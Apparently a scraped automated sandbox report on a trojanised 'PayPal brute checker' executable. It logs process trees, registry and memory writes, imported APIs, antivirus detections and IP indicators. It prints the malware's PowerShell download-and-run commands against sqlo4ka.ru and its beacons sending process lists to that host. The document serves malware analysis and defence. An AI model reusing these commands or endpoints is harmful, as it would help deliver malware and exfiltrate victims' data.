"/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "wmiprvse.exe") "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "wmiprvse.exe") "/DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3Etaskhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe" (Indicator: "wmiprvse.exe") "GET /DCRS/dsock//socket.php?type=__ds_setdata&__ds_setdata_user=8e14f57630962c322e7438a5604d645fabd90e1e&__ds_setdata_ext=262214397645a406f871dd6db9f86081&__ds_setdata_data=%3CSTR%3Esvchost.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esmss.exe%3CSTR%3EOSPPSVC.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Edllhost.exe%3CSTR%3Ecsrss.exe%3CSTR%3Ewinlogon.exe%3CSTR%3Etaskhost.exe%3CSTR%3Esvchost.exe%3CSTR%3EPayPal.exe%3CSTR%3Edwm.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Elsm.exe%3CSTR%3Elsass.exe%3CSTR%3Efontreview.exe%3CSTR%3Ecsrss.exe%3CSTR%3Eservices.exe%3CSTR%3Espoolsv.exe%3CSTR%3Econhost.exe%3CSTR%3Ewininit.exe%3CSTR%3EWmiPrvSE.exe%3CSTR%3Esvchost.exe%3CSTR%3Econhost.exe%3CSTR%3Esvchost.exe%3CSTR%3Esvchost.exe%3CSTR%3Eexplorer.exe%3CSTR%3Econhost.exe%3CSTR%3Etaskhost.exe%3CSTR%3ESystem.exe%3CSTR%3EIdle.exe HTTP/1.1 Host: sqlo4ka.ru" (Indicator: "wmiprvse.exe")3f:T54e,"PayPalBrute_Checker.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsoA5E4.tmp" with delete access "PayPalBrute_Checker.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsuA6F0.tmp" with delete access "PayPalBrute_Checker.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsuA6F0.tmp\System.dll" with delete access "PayPalBrute_Checker.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\nsuA6F0.tmp\" with delete access "PayPal.scr" opened "C:\Users\Public\Download\__tmp_rar_sfx_access_check_1555359" with delete access "PayPal brute?checker.exe" opened "C:\Users\TJZSvkd\AppData\Local\Temp\autC0FE.tmp" with delete access "PayPal brute?checker.exe" opened "C:\Users\TJZSvkd\AppData\Local\Temp\autC257.tmp" with delete access "90cc6e447d345bb1f103751ab038bbce19190db6.exe" opened "C:\Media\__tmp_rar_sfx_access_check_1571828" with delete access "e6ee5674bb9446c78bbc5729af6e2c28.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.1072.1585625" with delete access "e6ee5674bb9446c78bbc5729af6e2c28.exe" opened "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.1072.1585625" with delete access "e6ee5674bb9446c78bbc5729af6e2c28.exe" opened "C:\Users\TJZSvkd\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\64bit\security.config.cch.1072.1585875" with delete access40:T624,"PayPalBrute_Checker.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "PayPalBrute_Checker.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "PayPal.scr" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "PayPal.scr" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "wscript.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "wscript.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "loader.bat" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "loader.bat" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")41:T764,RegDeleteKeyA RegCloseKey OpenProcessToken RegDeleteValueA RegCreateKeyExA RegOpenKeyExA RegEnumKeyA GetFileAttributesA CopyFileA GetModuleFileNameA LoadLibraryExA GetFileSize CreateDirectoryA DeleteFileA GetCommandLineA GetProcAddress GetTempPathA CreateThread GetModuleHandleA FindFirstFileA WriteFile GetTempFileNameA FindNextFileA CreateProcessA Sleep CreateFileA GetTickCount ShellExecuteA FindWindowExA RegCreateKeyExW RegDeleteValueW GetUserNameW RegEnumKeyExW RegOpenKeyExW RegDeleteKeyW GetFileAttributesW GetTempPathW WriteProcessMemory GetModuleFileNameW IsDebuggerPresent LoadLibraryExW ExitThread LoadLibraryW GetVersionExW VirtualProtect LoadLibraryA OpenProcess GetStartupInfoW ReadProcessMemory CreateDirectoryW DeleteFileW GetComputerNameW FindNextFileW FindFirstFileW CreateFileW VirtualAllocEx WinExec LockResource GetCommandLineW UnhandledExceptionFilter GetModuleHandleW FindResourceW TerminateProcess VirtualAlloc ShellExecuteW ShellExecuteExW GetCursorPos SetWindowsHookExW GetLastActivePopup FindWindowW SetKeyboardState FindWindowExW GetWindowThreadProcessId EnumPrintersW CreateProcessWithLogonW SetSecurityDescriptorDacl CreateProcessAsUserW IcmpSendEcho GetDriveTypeW FindResourceExW DeviceIoControl CopyFileW OutputDebugStringW GetModuleHandleExW CreateToolhelp32Snapshot GetTempFileNameW Process32NextW CopyFileExW Process32FirstW CreateProcessW FtpGetFileSize InternetOpenW InternetQueryDataAvailable InternetQueryOptionW InternetConnectW HttpQueryInfoW InternetCrackUrlW InternetCloseHandle HttpSendRequestW InternetOpenUrlW InternetReadFile FtpOpenFileW accept WSAStartup connect closesocket send listen recv socket bind recvfrom sendto CryptEncrypt MapViewOfFile CreateFileMappingW CreateFileMappingA OutputDebugStringA GetFileAttributesExW42:Tb27,"PayPalBrute_Checker.exe" wrote bytes "fe181476f854147657d11576f2181576852a1676221214763e18147668341476eb59147677491476451214762e581476dd16147626181476ff421476c011147600000000d8949d740000000008226076d1e45d7600000000" to virtual address "0x10003000" (part of module "SYSTEM.DLL") "PayPalBrute_Checker.exe" wrote bytes "d83a9374" to virtual address "0x74940274" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "d055157564731e750000000051c1247694982476ee9c247675dc2676273e26760fb32a760000000085481476698714760f771676d9171476ead71576a9341476f8111476201414760c111476f516147654141476ff1014763214147600000000" to virtual address "0x73C41000" (part of module "SHFOLDER.DLL") "PayPalBrute_Checker.exe" wrote bytes "b8c015be73ffe0" to virtual address "0x749336B4" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "b4369374" to virtual address "0x7494025C" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "d83a9374" to virtual address "0x749401FC" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "b84013be73ffe0" to virtual address "0x74933AD8" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "d83a0200" to virtual address "0x74934E38" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "d83a0200" to virtual address "0x74934D78" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "c2000000" to virtual address "0x1000404C" (part of module "SYSTEM.DLL") "PayPalBrute_Checker.exe" wrote bytes "d83a9374" to virtual address "0x74940258" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "b4369374" to virtual address "0x74940278" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "b4369374" to virtual address "0x749401E4" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "d83a9374" to virtual address "0x749401E0" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "b4369374" to virtual address "0x74940200" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "68130000" to virtual address "0x74B51680" (part of module "WS2_32.DLL") "PayPalBrute_Checker.exe" wrote bytes "c0df09771cf90877ccf808770d640a7700000000c011147600000000fc3e147600000000e0131476000000009457df7425e00977c6e0097700000000bc6ade7400000000cf311476000000009319df74000000002c32147600000000" to virtual address "0x75D71000" (part of module "NSI.DLL") "PayPalBrute_Checker.exe" wrote bytes "b4360200" to virtual address "0x74934EA4" (part of module "SSPICLI.DLL") "PayPalBrute_Checker.exe" wrote bytes "711173027a3b7202ab8b02007f950200fc8c0200729602006cc805001ecd6f027d266f02" to virtual address "0x749C07E4" (part of module "USER32.DLL") "PayPalBrute_Checker.exe" wrote bytes "b4360200" to virtual address "0x74934D68" (part of module "SSPICLI.DLL")43:T662,4/94 Antivirus vendors marked dropped file "regedit.exe" as malicious (classified as "Azden.A" with 4% detection rate) 5/72 Antivirus vendors marked dropped file "PayPal.exe" as malicious (classified as "Trojan.HackTool" with 6% detection rate) 3/94 Antivirus vendors marked dropped file "RuntimeBroker.exe" as malicious (classified as "Malicious_confidence_90%" with 3% detection rate) 2/93 Antivirus vendors marked dropped file "System.dll" as malicious (classified as "W32.Ramnit.CF" with 2% detection rate) 45/72 Antivirus vendors marked dropped file "90cc6e447d345bb1f103751ab038bbce19190db6.exe" as malicious (classified as "Disabler.U" with 62% detection rate) 4/71 Antivirus vendors marked dropped file "WebHelper.exe" as malicious (classified as "Trojan.Small" with 5% detection rate) 41/72 Antivirus vendors marked dropped file "fontreview.exe" as malicious (classified as "Trojan.Generic" with 56% detection rate) 4/72 Antivirus vendors marked dropped file "dasHost.exe" as malicious (classified as "Trojan.Azden" with 5% detection rate) 1/72 Antivirus vendors marked dropped file "WatchBull.exe" as malicious (classified as "Trojan.Small" with 1% detection rate) 35/73 Antivirus vendors marked dropped file "loader.bat" as malicious (classified as "Gen:Variant.Ursu" with 47% detection rate) 14/72 Antivirus vendors marked dropped file "Windows defender.exe" as malicious (classified as "Disabler.U" with 19% detection rate) 45/72 Antivirus vendors marked dropped file "urlref_httpsqlo4ka.ruDCRSdsock90cc6e447d345bb1f103751ab038bbce19190db6.exe" as malicious (classified as "Disabler.U" with 62% detection rate)44:T174d,"PayPalBrute_Checker.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\1337\PayPal.scr" (Handle: 624) "PayPalBrute_Checker.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\1337\PayPal.scr" (Handle: 624) "PayPalBrute_Checker.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\1337\PayPal.scr" (Handle: 624) "PayPalBrute_Checker.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\1337\PayPal.scr" (Handle: 624) "PayPalBrute_Checker.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\1337\PayPal brute&checker.exe" (Handle: 624) "PayPalBrute_Checker.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\1337\PayPal brute&checker.exe" (Handle: 624) "PayPalBrute_Checker.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\1337\PayPal brute&checker.exe" (Handle: 624) "PayPalBrute_Checker.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\1337\PayPal brute&checker.exe" (Handle: 624) "PayPal.scr" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 632) "PayPal.scr" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 632) "PayPal.scr" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 632) "PayPal.scr" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 632) "PayPal brute?checker.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\PayPal.exe" (Handle: 276) "PayPal brute?checker.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\PayPal.exe" (Handle: 276) "PayPal brute?checker.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\PayPal.exe" (Handle: 276) "PayPal brute?checker.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\PayPal.exe" (Handle: 276) "PayPal brute?checker.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\loader.bat" (Handle: 284) "PayPal brute?checker.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\loader.bat" (Handle: 284) "PayPal brute?checker.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\loader.bat" (Handle: 284) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 124) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 124) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 124) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (Handle: 124) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\timeout.exe" (Handle: 136) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\timeout.exe" (Handle: 136) "cmd.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\timeout.exe" (Handle: 136) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\timeout.exe" (Handle: 136) "cmd.exe" wrote 32 bytes to a remote process "C:\Users\Public\Download\90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Handle: 136) "cmd.exe" wrote 52 bytes to a remote process "C:\Users\Public\Download\90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Handle: 136) "cmd.exe" wrote 4 bytes to a remote process "C:\Users\Public\Download\90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Handle: 136) "cmd.exe" wrote 8 bytes to a remote process "C:\Users\Public\Download\90cc6e447d345bb1f103751ab038bbce19190db6.exe" (Handle: 136) "cmd.exe" wrote 32 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 88) "cmd.exe" wrote 52 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 88) "cmd.exe" wrote 8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 88) "90cc6e447d345bb1f103751ab038bbce19190db6.exe" wrote 32 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 760) "90cc6e447d345bb1f103751ab038bbce19190db6.exe" wrote 52 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 760) "90cc6e447d345bb1f103751ab038bbce19190db6.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 760) "90cc6e447d345bb1f103751ab038bbce19190db6.exe" wrote 8 bytes to a remote process "C:\Windows\SysWOW64\wscript.exe" (Handle: 760) "90cc6e447d345bb1f103751ab038bbce19190db6.exe" wrote 32 bytes to a remote process "C:\Media\Windows defender.exe" (Handle: 584) "90cc6e447d345bb1f103751ab038bbce19190db6.exe" wrote 52 bytes to a remote process "C:\Media\Windows defender.exe" (Handle: 584) "90cc6e447d345bb1f103751ab038bbce19190db6.exe" wrote 4 bytes to a remote process "C:\Media\Windows defender.exe" (Handle: 584) "90cc6e447d345bb1f103751ab038bbce19190db6.exe" wrote 8 bytes to a remote process "C:\Media\Windows defender.exe" (Handle: 584) "wscript.exe" wrote 32 bytes to a remote process "C:\Media\e6ee5674bb9446c78bbc5729af6e2c28.exe" (Handle: 840) "wscript.exe" wrote 52 bytes to a remote process "C:\Media\e6ee5674bb9446c78bbc5729af6e2c28.exe" (Handle: 840) "wscript.exe" wrote 4 bytes to a remote process "C:\Media\e6ee5674bb9446c78bbc5729af6e2c28.exe" (Handle: 840) "wscript.exe" wrote 8 bytes to a remote process "C:\Media\e6ee5674bb9446c78bbc5729af6e2c28.exe" (Handle: 840) "wscript.exe" wrote 32 bytes to a remote process "C:\Media\WatchBull.exe" (Handle: 840) "wscript.exe" wrote 52 bytes to a remote process "C:\Media\WatchBull.exe" (Handle: 840) "wscript.exe" wrote 4 bytes to a remote process "C:\Media\WatchBull.exe" (Handle: 840) "wscript.exe" wrote 8 bytes to a remote process "C:\Media\WatchBull.exe" (Handle: 840)45:Tda3,Found malicious artifacts related to "195.161.41.57": ... URL: http://wwwexodus.io/ (AV positives: 1/66 scanned on 06/02/2019 03:05:06) URL: https://wwwexodus.io/ (AV positives: 1/70 scanned on 06/02/2019 02:58:20) URL: http://welcome39.ru/index.php/e4nepoiw03gief3btoc (AV positives: 6/66 scanned on 06/01/2019 21:38:36) URL: http://welcome39.ru/index.php/11aahqvh8nvhbx (AV positives: 6/66 scanned on 06/01/2019 21:37:44) URL: http://welcome39.ru/index.php/28ta7rn7zhmwpce (AV positives: 6/66 scanned on 06/01/2019 21:37:30) File SHA256: 60d8cfdf250b5589ff59f00b264cccc72ef49a8be4b65c6fe071259d607b0fc4 (AV positives: 1/57 scanned on 06/01/2019 00:35:28) File SHA256: 8aee7c572da774c0451c06529530792e34a517dc7f31d1ef54495b3351fd7792 (AV positives: 27/73 scanned on 05/31/2019 19:04:18) File SHA256: 2fba474f2e0117d67b3ceaa06e5b2c684ca4ffdd83f2ec0c93af04c7fb492c18 (Date: 05/30/2019 07:00:28) File SHA256: d011bae09c8863479bfb6cbb3a56c4578dc67ec42c324e9d7ba9adc7490d52f1 (Date: 05/30/2019 06:51:55) File SHA256: 64cc1052339cadecfed2dd8152d8f1c3b2465dcdfca334fe0145449cafd85b14 (Date: 05/25/2019 01:48:12) File SHA256: e4aca690316f318231c6d4c4a913c0bc72f07558ca678521201a2b8796c3de3f (AV positives: 48/73 scanned on 05/24/2019 04:22:08) File SHA256: 37435a8ec0f7afabf767e08c57f5d0fcd7fbf1aa7cb6eab24c4178bdc40ffe01 (AV positives: 43/71 scanned on 05/24/2019 09:00:04) File SHA256: 44346752fd9eaca6adff266881f9cf9a893c8fca43e903638327fd736c1fec43 (Date: 05/04/2019 06:54:09) File SHA256: f061620754a656fd8252e180a61df6896e44fb5922f2d91aec4de14733cb5714 (Date: 05/02/2019 04:32:22) File SHA256: 38acb91da83e56be83ec9e7167e56dad2206f787063295a059956f93d42b9844 (AV positives: 48/73 scanned on 04/29/2019 14:39:43) Found malicious artifacts related to "216.239.34.21": ... URL: http://engtoy.com/links/index.htm (AV positives: 7/70 scanned on 06/02/2019 02:38:09) URL: http://cashat.pro/2013/04/sites-money.html (AV positives: 6/70 scanned on 06/02/2019 02:28:08) URL: http://cashat.pro/2012/09/seo-optimized.html (AV positives: 7/70 scanned on 06/02/2019 02:25:08) URL: http://narichkounlabvas.com/ (AV positives: 14/70 scanned on 06/02/2019 02:08:08) URL: http://ungthuvomhong.com/2014/01/ung-thu-vom-hong-nhung-dau-hieu.html (AV positives: 2/66 scanned on 06/02/2019 01:46:36) File SHA256: 626c48fc485f11caacc6e139636d7632d2ff529fe402d5f04f5a088a26849d85 (AV positives: 27/60 scanned on 06/01/2019 23:33:53) File SHA256: 7da7df6b2ae25a2b32a494dacea2c51b02b173dcb020c79f4df47a92fb497274 (AV positives: 1/57 scanned on 06/01/2019 09:16:36) File SHA256: f04c5ec2eae3c13bf6d127a15074a6436096d9fe8ac8159b24eb22b3afc23eec (AV positives: 56/72 scanned on 06/01/2019 21:25:56) File SHA256: 18905aa4c0441ed003db23f378e928184839945ff38507a31c3b91f23de5ff2e (AV positives: 57/73 scanned on 06/01/2019 20:08:41) File SHA256: 38bc877e5575b2647e968f2767b81040072c063ef9572111a89287349935f04b (AV positives: 1/73 scanned on 06/01/2019 11:39:02) File SHA256: 83dbe08638688cbcf51fdda1027d86cb05fee204914b50b96d0672f549cf5a2f (Date: 05/31/2019 04:55:49) File SHA256: fdba67156caf2c8b0f8f9f3df671634e086f2b9cc5f068d79cfbcdde9f5b21b7 (Date: 05/31/2019 04:54:00) File SHA256: 37beb22bad6478a9c6b671803a8d7e75fefee0ed5d13d1447df1acc9e2a62e87 (Date: 05/31/2019 04:53:48) File SHA256: 67e1841d5baf31df66f6ef1563527cc809ca4c20c71442c7f7263619ade8660f (Date: 05/24/2019 15:15:01) File SHA256: d86762ff6b476a37191b87a99d66bf2d52f6863985bca5d6f7b7033186881ca9 (Date: 05/23/2019 09:58:39)46:T910,Spawned process "PayPalBrute_Checker.exe" (UID: 00099061-00003552) Spawned process "PayPal.scr" with commandline "/S" (UID: 00099374-00003980) Spawned process "PayPal brute?checker.exe" (UID: 00099410-00003540) Spawned process "wscript.exe" with commandline ""%PUBLIC%\Download\H5KkIOXyzL2J9BOlW1BGwFzh93eQph.vbs"" (UID: 00099629-00002756) Spawned process "PayPal.exe" (UID: 00099768-00003800) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c ""%PUBLIC%\Download\jxzvmjhZXoFhKaVkRQp3.cmd" "" (UID: 00099783-00003796) Spawned process "loader.bat" (UID: 00099794-00004056) Spawned process "powershell.exe" with commandline "powershell -Command "(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')"" (UID: 00099826-00003808) Spawned process "cmd.exe" with commandline "/C powershell -Command "(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')"" (UID: 00100067-00003360) Spawned process "powershell.exe" with commandline "powershell -Command "(New-Object Net.WebClient).DownloadFile('http://sqlo4ka.ru/DCRS/dsock/90cc6e447d345bb1f103751ab038bbce19190db6.exe', '%PUBLIC%\Download/90cc6e447d345bb1f103751ab038bbce19190db6.exe')"" (UID: 00100099-00003764) Spawned process "timeout.exe" with commandline "TIMEOUT /T 1 /NOBREAK" (UID: 00100348-00000320) Spawned process "90cc6e447d345bb1f103751ab038bbce19190db6.exe" (UID: 00100415-00002736) Spawned process "wscript.exe" with commandline ""C:\Media\System.vbe"" (UID: 00100726-00002996) Spawned process "Windows defender.exe" (UID: 00100753-00001696) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c ""C:\Media\zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat" "" (UID: 00101239-00002600) Spawned process "e6ee5674bb9446c78bbc5729af6e2c28.exe" (UID: 00101297-00001072) Spawned process "WatchBull.exe" (UID: 00101338-00001632) Spawned process "fontreview.exe" with commandline "C:/Media/fontreview.exe" (UID: 00101353-00003544) Spawned process "cmd.exe" with commandline "/C%PROGRAMFILES%\(x86)/Adobe/Acrobat Reader DC/Esl/regedit.exe" (UID: 00101634-00002536)47:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A//////93d3d3d3f///////////93d3d3d3d3d/////////93d3//////93d3///////3d3/////////3d3//////d3f//////////3d3////93f/////////////d3///3d///////////////d3//93f/d/////////93/3d//3d//3d////////3d//3d/93///3d///////93f//3f3d///93d//////3d///93d3////d3f/////93f///93d/////d3f////3d/////d3f//3d3d393d3d3d3f//3d3//93d3d3d3d3d3d3//93d///d3d3d3d3d3d3d///d3f//3d3d3d3d3d3d3f//3d3//93d3d3d3d3d3d3//93d///////d3f3d///////d3f///////d393f//////3d3////////f3d///////93d3////////93///////3d/d////////3d///////93/3d///////93///////3d//3d///////d///////d3//93f//////////////3d///93f/////////////d3////93d///////////d3f/////93d/////////93d///////93d3//////93d3/////////3d3d3d3d3d3////////////d3d3d3d3//////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==48:Tcaec,iVBORw0KGgoAAAANSUhEUgAABEwAAAJYCAIAAAD39ORaAAC